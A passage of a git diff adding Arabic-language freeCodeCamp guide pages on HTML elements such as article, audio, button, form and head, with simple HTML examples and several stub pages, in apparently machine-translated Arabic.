+    <label class="form-check-label"> 
+      <input type="checkbox" class="form-check-input"> 
+      Check me out 
+    </label> 
+  </div> 
+  <button type="submit" class="btn btn-primary">Submit</button> 
+ </form> 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/html/elements/area-tag/index.md b/client/src/guide/arabic/html/elements/area-tag/index.md
new file mode 100644
index 0000000000..152caea63a
--- /dev/null
+++ b/client/src/guide/arabic/html/elements/area-tag/index.md
@@ -0,0 +1,11 @@
+---
+title: Area Tag
+localeTitle: علامة المنطقة
+---
+## علامة المنطقة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/html/elements/area-tag/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/html/elements/article-tag/index.md b/client/src/guide/arabic/html/elements/article-tag/index.md
new file mode 100644
index 0000000000..af43e5f745
--- /dev/null
+++ b/client/src/guide/arabic/html/elements/article-tag/index.md
@@ -0,0 +1,26 @@
+---
+title: Article Tag
+localeTitle: المادة العلامة
+---
+## المادة العلامة
+
+تمثل العلامة `<article>` مكتفي ذاتيا في مستند. يجب أن تكون المقالة مستقلة عن باقي الصفحة ، والمقصود أن تكون قابلة للتوزيع وقابلة لإعادة الاستخدام.
+
+تمت إضافة العلامة `<article>` في HTML5 وبدعم من المتصفحات الرئيسية.
+
+### مثال
+
+في ما يلي مثال لكيفية استخدام علامة المقالة في صفحة الويب:
+
+ `
+<article> 
+  <h1>FreeCodeCamp</h1> 
+  <p> 
+    Learn to code with a community of programmers and contribute to open source projects. 
+  </p> 
+ </article> 
+` 
+
+#### معلومات اكثر:
+
+[MDN](https://developer.mozilla.org/tr/docs/Web/HTML/Element/article)
\ No newline at end of file
diff --git a/client/src/guide/arabic/html/elements/aside-tag/index.md b/client/src/guide/arabic/html/elements/aside-tag/index.md
new file mode 100644
index 0000000000..a951ec7d6e
--- /dev/null
+++ b/client/src/guide/arabic/html/elements/aside-tag/index.md
@@ -0,0 +1,11 @@
+---
+title: Aside Tag
+localeTitle: جانبا العلامة
+---
+## جانبا العلامة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/html/elements/aside-tag/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/html/elements/audio-tag/index.md b/client/src/guide/arabic/html/elements/audio-tag/index.md
new file mode 100644
index 0000000000..f71456f1ce
--- /dev/null
+++ b/client/src/guide/arabic/html/elements/audio-tag/index.md
@@ -0,0 +1,53 @@
+---
+title: Audio Tag
+localeTitle: علامة الصوت
+---
+## علامة الصوت
+
+تحدد العلامة < **_audio_** > عنصرًا صوتيًا ، يمكن استخدامه لإضافة مورد وسائط صوتية إلى مستند HTML يتم تشغيله بواسطة دعم أصلي لتشغيل الصوت مضمن في المستعرض بدلاً من مكون إضافي للمتصفح.
+
+تدعم علامة الصوت حاليًا ثلاثة تنسيقات ملفات OGG و MP3 و WAV والتي يمكن إضافتها إلى html الخاصة بك كما يلي.
+
+##### إضافة OGG
+
+ `<audio controls> 
+  <source src="file.ogg" type="audio/ogg"> 
+ </audio> 
+` 
+
+##### إضافة MP3
+
+ `<audio controls> 
+  <source src="file.mp3" type="audio/mpeg"> 
+ </audio> 
+` 
+
+##### إضافة WAV
+
+ `<audio controls> 
+  <source src="file.wav" type="audio/wav"> 
+ </audio> 
+` 
+
+قد يحتوي على واحد أو أكثر من مصادر الصوت ، ممثلة باستخدام السمة src أو عنصر المصدر.
+
+##### إضافة ملفات صوت متعددة
+
+ `<audio controls> 
+  <source src="file-1.wav" type="audio/wav"> 
+  <source src="file-2.ogg" type="audio/ogg"> 
+  <source src="file-3.mp3" type="audio/mpeg"> 
+ </audio> 
+` 
+
+#### دعم المستعرض لأنواع مختلفة من filetypes كما يلي
+
+| متصفح | mp3 | Wav | سطين | |: -------: |: ---: |: ---: |: ---: | | إنترنت إكسبلورر | نعم لا | لا | | جوجل كروم | نعم نعم نعم موزيلا فايرفوكس | نعم نعم نعم | سفاري | نعم نعم لا يوجد | الأوبرا | نعم نعم نعم فعلا
+
+### السمات المدعومة
+
+| السمة | القيمة | الوصف | |: -------: |: ---: |: ---: | | autoplay | autoplay | سيبدأ تشغيل الصوت بمجرد أن يصبح جاهزًا | | عناصر التحكم | عناصر التحكم | سيتم عرض الصوت (مثل زر التشغيل / الإيقاف المؤقت ، الخ) | حلقة | حلقة | الصوت سيبدأ من جديد ، في كل مرة يتم الانتهاء | | | كتم | كتم | سيتم كتم إخراج الصوت | | src | URL | يحدد عنوان URL للملف الصوتي
+
+#### معلومات اكثر:
+
+[https://www.w3schools.com/tags/tag\_audio.asp](https://www.w3schools.com/tags/tag_audio.asp) [https://html.com/tags/audio/](https://html.com/tags/audio/) [https://html.com/tags/audio/#ixzz5Sg4QbtH8](https://html.com/tags/audio/#ixzz5Sg4QbtH8)
\ No newline at end of file
diff --git a/client/src/guide/arabic/html/elements/b-tag/index.md b/client/src/guide/arabic/html/elements/b-tag/index.md
new file mode 100644
index 0000000000..575c91d7f6
--- /dev/null
+++ b/client/src/guide/arabic/html/elements/b-tag/index.md
@@ -0,0 +1,23 @@
+---
+title: B Tag
+localeTitle: ب اليوم
+---
+## ب العلامة
+
+يتم استخدام العلامة `<b>` لتحديد النص الغامق ، دون نقل أي أهمية خاصة أو ملاءمة. عند كتابة نص ذي أهمية خاصة أو أهمية خاصة ، يُنصح باستخدام العلامة `<strong>` .
+
+### مثال:
+
+ `
+<b>This text is bold</b> 
+` 
+
+سيظهر هذا على النحو التالي:
+
+**هذا النص غامق**
+
+#### معلومات اكثر:
+
+1.  [w3schools](https://www.w3schools.com/tags/tag_b.asp "العلامة <b>: w3schools")  
+    
+2.  [MDN](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/b)
\ No newline at end of file
diff --git a/client/src/guide/arabic/html/elements/base-tag/index.md b/client/src/guide/arabic/html/elements/base-tag/index.md
new file mode 100644
index 0000000000..2be3066c5b
--- /dev/null
+++ b/client/src/guide/arabic/html/elements/base-tag/index.md
@@ -0,0 +1,11 @@
+---
+title: Base Tag
+localeTitle: علامة أساسية
+---
+## علامة أساسية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/html/elements/base-tag/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/html/elements/blockquote-tag/index.md b/client/src/guide/arabic/html/elements/blockquote-tag/index.md
new file mode 100644
index 0000000000..ccee189f24
--- /dev/null
+++ b/client/src/guide/arabic/html/elements/blockquote-tag/index.md
@@ -0,0 +1,28 @@
+---
+title: Blockquote Tag
+localeTitle: علامة Blockquote
+---
+## علامة Blockquote
+
+### غرض
+
+يفصل عنصر HTML `<blockquote>` عرضًا من المحتوى المحيط. يسمح هذا للقارئ بمشاهدة الاقتباس بوضوح كمادة منسوبة لمؤلفه الأصلي.
+
+### استعمال
+
+تماما مثل علامات "H" ترسل إشارات إلى القارئ أن informaiton مهم ، تنبيهات مقاربة تنبه القارئ بأن المعلومات التي يقرأونها هي من مصدر خارجي. يمكن أن تتضمن العلامة `<blockquote>` عنوان URL لمصدر عرض الأسعار باستخدام السمة الاستشهاد ، بينما يمكن إعطاء تمثيل نصي للمصدر باستخدام عنصر `<cite>` .
+
+### مثال
+
+ `
+<blockquote cite="https://www.cnet.com/news/tim-cook-maintains-steve-jobs-beatles-business-model/"> 
+ “My model for business is The Beatles. They were four guys who kept each other's kind of negative tendencies in check. 
+ They balanced each other and the total was greater than the sum of the parts. 
+ That's how I see business: great things in business are never done by one person, they're done by a team of people.” 
+ </blockquote> 
+ <cite>Steve Jobs</cite> 
+` 
+
+#### معلومات اكثر:
+
+[blockquote MDN](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/blockquote)
\ No newline at end of file
diff --git a/client/src/guide/arabic/html/elements/body-tag/index.md b/client/src/guide/arabic/html/elements/body-tag/index.md
new file mode 100644
index 0000000000..0b866a2917
--- /dev/null
+++ b/client/src/guide/arabic/html/elements/body-tag/index.md
@@ -0,0 +1,24 @@
+---
+title: Body Tag
+localeTitle: يوم الجسد
+---
+## علامة الجسد
+
+تحتوي العلامة `<body>` على محتوى صفحة ويب. إلى جانب `<head>` ، فهو أحد العنصرين المطلوبين في مستند HTML. يجب أن يكون `<body>` الطفل الثاني لعنصر `<html>` . لا يمكن أن يكون هناك سوى عنصر `<body>` واحد على الصفحة.
+
+يجب أن يحتوي عنصر `<body>` على كل محتوى الصفحة ، بما في ذلك جميع عناصر العرض. يمكن أن يحتوي عنصر `<body>` أيضًا على علامات `<script>` ، وهي برامج نصية عامة يجب تشغيلها بعد تحميل محتوى الصفحة.
+
+ `
+<html> 
+    <head> 
+        <title>Document Titles Belong in the Head</title> 
+    </head> 
+    <body> 
+        <p>This paragraph is content. It goes in the body!</p> 
+    </body> 
+ </html> 
+` 
+
+#### معلومات اكثر:
+
+[MDN](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/body)
\ No newline at end of file
diff --git a/client/src/guide/arabic/html/elements/br-tag/index.md b/client/src/guide/arabic/html/elements/br-tag/index.md
new file mode 100644
index 0000000000..65ec41fb0e
--- /dev/null
+++ b/client/src/guide/arabic/html/elements/br-tag/index.md
@@ -0,0 +1,28 @@
+---
+title: Br Tag
+localeTitle: يوم Br
+---
+## علامة Br
+
+علامة `<br>` تنتج فاصل أسطر في النص. هذا مفيد للقصائد والعناوين.
+
+### مثال
+
+ `
+<!DOCTYPE html> 
+ <html> 
+  <body> 
+    Mozilla Foundation<br> 
+    1981 Landings Drive<br> 
+    Building K<br> 
+    Mountain View, CA 94043-0801<br> 
+    USA 
+  </body> 
+ </html> 
+` 
+
+#### معلومات اكثر:
+
+[MDN](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/br)
+
+[العلامة: w3schools](https://www.w3schools.com/tags/tag_br.asp)
\ No newline at end of file
diff --git a/client/src/guide/arabic/html/elements/button-tag/index.md b/client/src/guide/arabic/html/elements/button-tag/index.md
new file mode 100644
index 0000000000..1750ecb16f
--- /dev/null
+++ b/client/src/guide/arabic/html/elements/button-tag/index.md
@@ -0,0 +1,55 @@
+---
+title: Button Tag
+localeTitle: زر الزر
+---
+## زر الزر
+
+تحدد العلامة `<button>` قابلاً للنقر في مستند HTML. بين علامات `<button>` ، يمكنك وضع المحتوى ، مثل النص أو الصور. يختلف هذا عن الزر الذي تم إنشاؤه باستخدام علامة `<input>` ، والتي تأخذ النص كمحتوى فقط.
+
+**بناء الجملة:**
+
+`<button type="submit">Click Here!</button>`
+
+**Atributes:**
+
+فيما يلي السمة المرتبطة التي يدعمها HTML 4:
+
+| **السمات** | **القيمة** | **ماذا يفعل** | | --- | --- | --- | | المعوقين المعوقين تعطيل الزر | | الاسم | الاسم | يحدد اسم للزر. الاسم هو للإشارة إلى الزر في شكل HTML ، JS ، إلخ. | | اكتب | زر أو إعادة تعيين أو تقديم | يضبط نوع الزر. زر مع `button` نوع هو زر نقر بسيط، مع `submit` نوع كان يقدم بيانات النموذج، ومع `reset` نوع فإنه يعيد تعيين بيانات النموذج. | | القيمة | النص | لتعيين قيمة مبدئية للزر. يتم إرسال هذه القيمة مع بيانات النموذج. |
+
+يدعم HTML 5 السمات الإضافية التالية:
+
+| **السمات** | **القيمة** | **ماذا يفعل** | | --- | --- | --- | | ضبط تلقائي للصورة ضبط تلقائي للصورة هل يجب أن يتم التركيز على الزر تلقائيًا عند تحميل الصفحة. على سبيل المثال ، انظر جوجل. عند تحميل الصفحة بالكامل ، يتم التركيز تلقائيًا على مربع النص. | | شكل | form\_id | يحدد واحد أو أكثر من النماذج التي ينتمي إليها الزر. | | تشكيل عنوان URL | يحدد مكان إرسال بيانات النموذج بمجرد الضغط على زر `submit` النوع. | | formmethod | الحصول على أو آخر يحدد كيفية إرسال بيانات النموذج. فقط للحصول على زر `submit` نوع. | | formtarget | `_blank` أو `_self` أو `_parent` أو `_top` أو framename | يحدد الموقع حيث يتم عرض النتيجة بعد إرسال بيانات النموذج. |
+
+**مثال:**
+
+ `
+<html> 
+  <head> 
+    <title>Button Tag example</title> 
+  </head> 
+  <body> 
+    <form> 
+      First name:<br> 
+      <input type="text" name="firstname" value="Free"> 
+      <br> 
+      Last name:<br> 
+      <input type="text" name="lastname" value="CodeCamp"> 
+      <br><br> 
+      <input type="submit" value="Submit" formtarget="_self"> 
+    </form> 
+  </body> 
+ </html> 
+` 
+
+جميع المتصفحات الرئيسية تدعم العلامة `<button>` . كما تدعم العلامة `<button>` خصائص الحدث في HTML. **ملاحظة:** قد ترسل المتصفحات المختلفة قيمًا مختلفة إذا كنت تستخدم عنصر `<button>` . يُنصح إما بتحديد قيمة الزر أو استخدام العلامة `<input>` لإنشاء زر في نموذج HTML.
+
+**موارد آخرى:**
+
+*   سمات أخرى:
+
+| **السمات** | **رابط** | | --- | --- | | formenctype | https://www.w3schools.com/TAgs/att _button_ formenctype.asp | | formnovalidate | https://www.w3schools.com/TAgs/att _button_ formnovalidate.asp |
+
+*   `<input>` tag: https://www.w3schools.com/TAgs/tag\_input.asp
+*   سمات الحدث: https://www.w3schools.com/TAgs/ref\_eventattributes.asp
+*   `formtarget` القيم السمة: https://www.w3schools.com/TAgs/att _زر_ formtarget.asp
+*   نموذج HTML:
\ No newline at end of file
diff --git a/client/src/guide/arabic/html/elements/canvas-tag/index.md b/client/src/guide/arabic/html/elements/canvas-tag/index.md
new file mode 100644
index 0000000000..5c2fed2b92
--- /dev/null
+++ b/client/src/guide/arabic/html/elements/canvas-tag/index.md
@@ -0,0 +1,11 @@
+---
+title: Canvas Tag
+localeTitle: علامة قماش
+---
+## علامة قماش
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/html/elements/canvas-tag/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/html/elements/center-tag/index.md b/client/src/guide/arabic/html/elements/center-tag/index.md
new file mode 100644
index 0000000000..c8211f10ed
--- /dev/null
+++ b/client/src/guide/arabic/html/elements/center-tag/index.md
@@ -0,0 +1,12 @@
+---
+title: Center Tag
+localeTitle: مركز العلامة
+---
+## مركز العلامة
+
+في HTML ، يتم استخدام العلامة `<center>` لتوسيط النص في الصفحة. يمكنك كتابة علامة `<center>` كـ `<center>My Text Here</center>` الميزة غير ملحوظة لا ينصح باستخدامها. تم إيقاف العلامة `<center>` في HTML 4 ، يمكن إزالة هذه الميزة من متصفحات الويب في أي وقت. من المستحسن استخدام `text-align` CSS `text-align` المركز.
+
+#### معلومات اكثر:
+
+*   [MDN - علامة مركز HTML](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/center)
+*   [MDN - CSS Text Align](https://developer.mozilla.org/en-US/docs/Web/CSS/text-align)
\ No newline at end of file
diff --git a/client/src/guide/arabic/html/elements/code-tag/index.md b/client/src/guide/arabic/html/elements/code-tag/index.md
new file mode 100644
index 0000000000..467fefb6d8
--- /dev/null
+++ b/client/src/guide/arabic/html/elements/code-tag/index.md
@@ -0,0 +1,15 @@
+---
+title: Code Tag
+localeTitle: رمز العلامة
+---
+## رمز العلامة
+
+تحتوي العلامة `<code>` على جزء من رمز الكمبيوتر لصفحة ويب. بشكل افتراضي ، يتم عرض العلامة `<code>` في خط monospace الافتراضي للمتصفح.
+
+ `
+<code>A piece of computer code</code> 
+` 
+
+#### معلومات اكثر:
+
+[MDN](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/code)
\ No newline at end of file
diff --git a/client/src/guide/arabic/html/elements/comment-tag/index.md b/client/src/guide/arabic/html/elements/comment-tag/index.md
new file mode 100644
index 0000000000..2d80e60eea
--- /dev/null
+++ b/client/src/guide/arabic/html/elements/comment-tag/index.md
@@ -0,0 +1,29 @@
+---
+title: Comment Tag
+localeTitle: كيف لعلامة
+---
+## علامة التعليق
+
+التعليقات هي علامات تُستخدم لمغادرة الملاحظات في المستند. يحق للمطور فقط الوصول إلى التعليقات ، ولا يرى المستخدم النهائي ما لم يتحقق مع Inspector Element الخاص بالمتصفح.
+
+عندما تعمل في بعض الأكواد ، من المفيد ترك نصائح للمطورين الآخرين لفهم طبيعة العمل.
+
+### مثال
+
+ `
+<!-- This is a comment --> 
+` 
+
+يمكن أيضًا استخدام التعليقات لجعل الشفرة غير نشطة دون الحاجة إلى حذفها بالكامل.
+
+### مثال
+
+ `
+<!-- 
+ <h1>Hello Campers</h1> 
+ --> 
+ <h2>Hello Friends</h2> 
+ <!-- 
+ <p>Hello Paragraph</p> 
+ --> 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/html/elements/div-tag/index.md b/client/src/guide/arabic/html/elements/div-tag/index.md
new file mode 100644
index 0000000000..8a6dd83550
--- /dev/null
+++ b/client/src/guide/arabic/html/elements/div-tag/index.md
@@ -0,0 +1,24 @@
+---
+title: Div Tag
+localeTitle: علامة div
+---
+## علامة div
+
+العلامة `<div>` هي حاوية عامة تحدد قسمًا في مستند HTML الخاص بك. يتم استخدام عنصر `<div>` لتجميع أقسام عناصر HTML معًا وتنسيقها مع CSS. A `<div>` هو عنصر مستوى الكتلة. هذا يعني أنه يأخذ خطه الخاص على الشاشة. العناصر مباشرة بعد دفع `<div>` لأسفل إلى السطر أدناه. بالنسبة إلى التجميع والتصميم المماثلين اللذين لا يمثلان مستوى حظر ، ولكن مضمّن ، يمكنك استخدام العلامة `<span>` بدلاً من ذلك. يتم استخدام العلامة لتجميع عناصر مضمنة في مستند.
+
+### مثال
+
+فيما يلي مثال لكيفية عرض قسم بنفس اللون:
+
+ `
+<div style="color:#ff0000"> 
+  <h3>my heading</h3> 
+  <p>my paragraph</p> 
+ </div> 
+` 
+
+#### معلومات اكثر:
+
+[Tutorialspoint](https://www.tutorialspoint.com/html/html_div_tag.htm)
+
+[MDN](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/div)
\ No newline at end of file
diff --git a/client/src/guide/arabic/html/elements/doctype-tag/index.md b/client/src/guide/arabic/html/elements/doctype-tag/index.md
new file mode 100644
index 0000000000..318cfaee21
--- /dev/null
+++ b/client/src/guide/arabic/html/elements/doctype-tag/index.md
@@ -0,0 +1,26 @@
+---
+title: Doctype Tag
+localeTitle: علامة Doctype
+---
+## علامة Doctype
+
+يتم دائمًا مصادقة شفرة HTML عن طريق "العلامة الأساسية" للعلامات. يجب أن تكون العلامة الأولى الموجودة في أي ملف HTML عبارة عن تعريف Doctype. إن html5 doctype `<!DOCTYPE html>` هو تمهيد مطلوب للإبلاغ عن المتصفح الذي يستخدمه [وضع التقديم](https://developer.mozilla.org/en-US/docs/Quirks_Mode_and_Standards_Mode) (HTML5 مقابل XHTML). تأكد من وضع Doctype في أعلى المستند.
+
+ `
+<!DOCTYPE html> 
+ <html> 
+    <head> 
+        <meta charset=UTF-8> 
+        <title>Document Title</title> 
+    </head> 
+    <body> 
+        <p>Document content.</p> 
+    </body> 
+ </html> 
+` 
+
+#### معلومات اكثر:
+
+*   [Doctype: MDN](https://developer.mozilla.org/en-US/docs/Glossary/Doctype)
+*   [مقدمة إلى HTML5: MDN](https://developer.mozilla.org/en-US/docs/Web/Guide/HTML/HTML5/Introduction_to_HTML5)
+*   [وضع المراسيم ووضع المعايير: MDN](https://developer.mozilla.org/en-US/docs/Quirks_Mode_and_Standards_Mode)
\ No newline at end of file
diff --git a/client/src/guide/arabic/html/elements/em-tag/index.md b/client/src/guide/arabic/html/elements/em-tag/index.md
new file mode 100644
index 0000000000..bdc225648f
--- /dev/null
+++ b/client/src/guide/arabic/html/elements/em-tag/index.md
@@ -0,0 +1,24 @@
+---
+title: Em Tag
+localeTitle: في العلامة
+---
+## ام علامة
+
+يتم استخدام العلامة `<em>` للتأكيد على النص في مستند HTML. يمكن القيام بذلك عن طريق التفاف النص الذي ترغب في التأكيد عليه في علامة `<em>` . تعرض معظم المتصفحات نصًا ملفوفًا في علامة `<em>` كما هو مائل.
+
+ملاحظة: يجب عدم استخدام العلامة `<em>` في كتابة نص بطريقة مائلة. يتم استخدام العلامة `<em>` للتأكيد على التركيز على النص.
+
+### مثال:
+
+ `<body> 
+  <p> 
+    Text that requires emphasis should go <em>here</em>. 
+  </p> 
+ </body> 
+` 
+
+#### معلومات اكثر:
+
+*   [MDN](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/em)
+*   [علامة em: w3schools](https://www.w3schools.com/tags/tag_em.asp)
+*   [علامة em: htmlreference.io](http://htmlreference.io/element/em/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/html/elements/fieldsets-and-legends/index.md b/client/src/guide/arabic/html/elements/fieldsets-and-legends/index.md
new file mode 100644
index 0000000000..9b4a5340ea
--- /dev/null
+++ b/client/src/guide/arabic/html/elements/fieldsets-and-legends/index.md
@@ -0,0 +1,11 @@
+---
+title: Fieldsets and Legends
+localeTitle: Fieldsets والأساطير
+---
+#### واقترح ريدينج:
+
+راجع [موقع WebAIM](http://webaim.org/techniques/forms/controls) للحصول على أمثلة نموذج يمكن الوصول إليه - تحديدًا الجزء المتعلق بأزرار الراديو
+
+#### مشروع المادة:
+
+شرح وأمثلة لعناصر المجموعة ذات الصلة في شكل مع `fieldset` و `legend` العناصر
\ No newline at end of file
diff --git a/client/src/guide/arabic/html/elements/font-tag/index.md b/client/src/guide/arabic/html/elements/font-tag/index.md
new file mode 100644
index 0000000000..e300c193c5
--- /dev/null
+++ b/client/src/guide/arabic/html/elements/font-tag/index.md
@@ -0,0 +1,26 @@
+---
+title: Font Tag
+localeTitle: علامة الخط
+---
+## علامة الخط
+
+_تم إيقاف هذه الميزة في HTML 4.01 وتمت إزالتها في HTML 5._
+
+يعرّف HTML Font Element `<font>` حجم الخط واللون والوجه لمحتواه. تم تطبيعه في HTML 3.2 ولكن تم إيقافه بعد ذلك في HTML 4.01 وهو الآن مهملاً في HTML5. على الرغم من أنه ما زال يعمل في بعض المتصفحات ، يُنصح بالتوقف عن استخدامه لأنه يمكن إزالته في أي وقت. يمكن تحقيق خطوط التصميم والتحكم فيها بشكل أفضل من خلال CSS ، في الواقع يجب كتابة جميع أنماط التصميم باستخدام CSS فقط.
+
+السلوك **السابق** للعنصر `<font>` :
+
+*   **اللون:** تتيح لك هذه الخاصية إمكانية تعيين لون النص على لون مسمى مثل "أزرق" ، أو لون سداسي عشري بتنسيق #RRGGBB.
+*   **الوجه:** تتيح لك هذه السمة تعيين عائلة الخطوط وستحتوي على قائمة مفصولة بفواصل تضم اسمًا واحدًا أو أكثر من أسماء الخطوط. إذا كان الخط الأول في القائمة غير مدعوم من قبل المتصفح ، فسيتم نقله إلى الخط الثاني. إذا لم يتم دعم أي خط أو إدراجه ، فسيعمل المتصفح افتراضيًا على تعيين خط لهذا النظام.
+*   **الحجم:** تتيح لك هذه السمة تحديد حجم الخط. هناك طريقتان للقيام بذلك ، إما تعيين قيمة رقمية أو قيمة نسبية. تتراوح القيم العددية من 1 إلى 7 ، 1 تكون الأصغر و 3 هي القيمة الافتراضية. تحدد القيم النسبية ، مثل -2 أو +2 ، القيمة المتعلقة بحجم عنصر `<basefont>` أو "3" القيمة الافتراضية.
+
+مثال:
+
+ `
+<font face="fontNameHere" size="7" color="blue">My Text Here</font> 
+` 
+
+#### معلومات اكثر:
+
+*   [MDN - علامة خط HTML](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/font)
+*   [MDN - CSS الخط](https://developer.mozilla.org/en-US/docs/Web/CSS/font)
\ No newline at end of file
diff --git a/client/src/guide/arabic/html/elements/footer-tag/index.md b/client/src/guide/arabic/html/elements/footer-tag/index.md
new file mode 100644
index 0000000000..61739672ea
--- /dev/null
+++ b/client/src/guide/arabic/html/elements/footer-tag/index.md
@@ -0,0 +1,26 @@
+---
+title: Footer Tag
+localeTitle: تذييل العلامة
+---
+## تذييل العلامة
+
+تشير العلامة `<footer>` إلى تذييل مستند أو قسم HTML. عادةً ما يحتوي التذييل على معلومات حول المؤلف ومعلومات حقوق النشر ومعلومات الاتصال وملف sitemap. يجب أن تنتقل أية معلومات اتصال داخل علامة `<footer>` داخل علامة `<address>` .
+
+### مثال
+
+ `
+<html> 
+ <head> 
+  <title>Paragraph example</title> 
+ </head> 
+ <body> 
+  <footer> 
+    <p>&copy; 2017 Joe Smith</p> 
+  </footer> 
+ </body> 
+ </html> 
+` 
+
+#### معلومات اكثر:
+
+[MDN](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/footer)
\ No newline at end of file
diff --git a/client/src/guide/arabic/html/elements/form-tag/index.md b/client/src/guide/arabic/html/elements/form-tag/index.md
new file mode 100644
index 0000000000..338fca2119
--- /dev/null
+++ b/client/src/guide/arabic/html/elements/form-tag/index.md
@@ -0,0 +1,56 @@
+---
+title: Form Tag
+localeTitle: علامة النموذج
+---
+## علامة النموذج
+
+يتم استخدام العلامة `<form>` لإنشاء نماذج في HTML لإدخال المستخدم. بمجرد قيام المستخدم بإدخال البيانات وإرسالها ، يتم إرسال البيانات إلى الخادم لتتم معالجتها.
+
+فيما يلي مثال أساسي لكيفية استخدام علامة `<form>` :
+
+ `
+<form action="/example.php" method="get"> 
+ Name: <input type="text"><br> 
+ Email Address: <input type="text"><br> 
+ <input type="submit" value="Submit"> 
+ </form> 
+` 
+
+### سمة العمل
+
+يحتاج كل عنصر `<form>` إلى سمة إجراء. قيمة سمة الإجراء هي عنوان URL على الخادم الذي سيتلقى البيانات في النموذج عند إرسالها.
+
+في ما يلي مثال على استخدام سمة الإجراء:
+
+ `
+<form action="http://www.google.com/form.php" method="get"> 
+ <p>Controls will appear inside here.</p> 
+ </form> 
+` 
+
+كما ترى ، يرسل النموذج بياناته إلى عنوان URL [http://www.google.com/from.php](http://www.google.com/from.php) .
+
+### طريقة
+
+يمكن تقديم النماذج باستخدام طريقة GET أو POST.
+
+*   تعتبر طريقة GET مثالية للنماذج الأقصر حيث تقوم بتوصيل البيانات إلى نهاية عنوان URL المحدد داخل سمة الإجراء.
+    
+*   يعتبر أسلوب POST مثاليًا للنماذج الأطول أو عند إضافة أو حذف المعلومات من قاعدة البيانات. باستخدام طريقة POST ، يتم إرسال قيم النموذج برؤوس HTTP.
+    
+
+### عناصر
+
+سيحتوي عنصر `<form>` على الأقل على أحد العناصر التالية المتداخلة داخله:
+
+*   [`<input>`](https://guide.freecodecamp.org/html/elements/input "إدخال")
+*   [`<button>`](https://guide.freecodecamp.org/html/elements/button-tag "زر")
+*   [`<label>`](https://guide.freecodecamp.org/html/elements/label-tag "ضع الكلمة المناسبة")
+*   [`<select>`](https://guide.freecodecamp.org/html/elements/select-tag "تحديد")
+*   [`<textarea>`](https://guide.freecodecamp.org/html/elements/textarea-tag "ناحية النص")
+*   [`<fieldset>`](https://guide.freecodecamp.org/html/elements/fieldsets-and-legends "مجموعة حقول")
+
+### مصادر
+
+*   [W3 مدارس شكل الموارد](https://www.w3schools.com/tags/tag_form.asp "مدارس W3")
+*   [موزيلا شكل الموارد](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/form "نموذج موزيلا")
\ No newline at end of file
diff --git a/client/src/guide/arabic/html/elements/head-tag/index.md b/client/src/guide/arabic/html/elements/head-tag/index.md
new file mode 100644
index 0000000000..4f147cc1c7
--- /dev/null
+++ b/client/src/guide/arabic/html/elements/head-tag/index.md
@@ -0,0 +1,15 @@
+---
+title: Head Tag
+localeTitle: علامة الرأس
+---
+## علامة الرأس
+
+تحتوي العلامة `<head>` على معلومات حول صفحة ويب. جنبا إلى جنب مع `<body>` ، فهو أحد العنصرين المطلوبين في مستند HTML. يجب أن يكون `<head>` الطفل الأول لعنصر `<html>` . لا يمكن أن يكون هناك سوى عنصر `<head>` واحد على الصفحة.
+
+يحتوي عنصر `<head>` على معلومات حول كيفية عرض صفحة ويب ، وتُعرف أيضًا باسم البيانات الوصفية. يجب وضع عنوان المستند ، وروابط إلى صفحات الأنماط ، وعلامات `<script>` المرتبطة بملفات JavaScript في `<head>` . يجب ألا يحتوي `<head>` على أي محتوى صفحة.
+
+`html <html> <head> <title>Document Titles Belong in the Head</title> </head> <body> <p>This paragraph is content. It goes in the body!</p> </body> </html>`
+
+#### معلومات اكثر:
+
+*   [MDN](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/head)
\ No newline at end of file
diff --git a/client/src/guide/arabic/html/elements/header-tag/index.md b/client/src/guide/arabic/html/elements/header-tag/index.md
new file mode 100644
index 0000000000..337d5c4f89
--- /dev/null
+++ b/client/src/guide/arabic/html/elements/header-tag/index.md
@@ -0,0 +1,29 @@
+---
+title: Header Tag
+localeTitle: علامة رأس
+---
+## علامة رأس
+
+إن العلامة `<header>` هي حاوية يتم استخدامها للوصلات الملاحية أو المحتوى التمهيدي. قد يتضمن عادة عناصر عنوان ، مثل `<h1>` ، `<h2>` ، ولكن قد يتضمن أيضًا عناصر أخرى مثل نموذج بحث وشعار ومعلومات المؤلف وما إلى ذلك.
+
+# يتوافق مع العنوان الأكثر أهمية. ونحن ننتقل إلى علامات أخرى مثل
+
+## ،
+
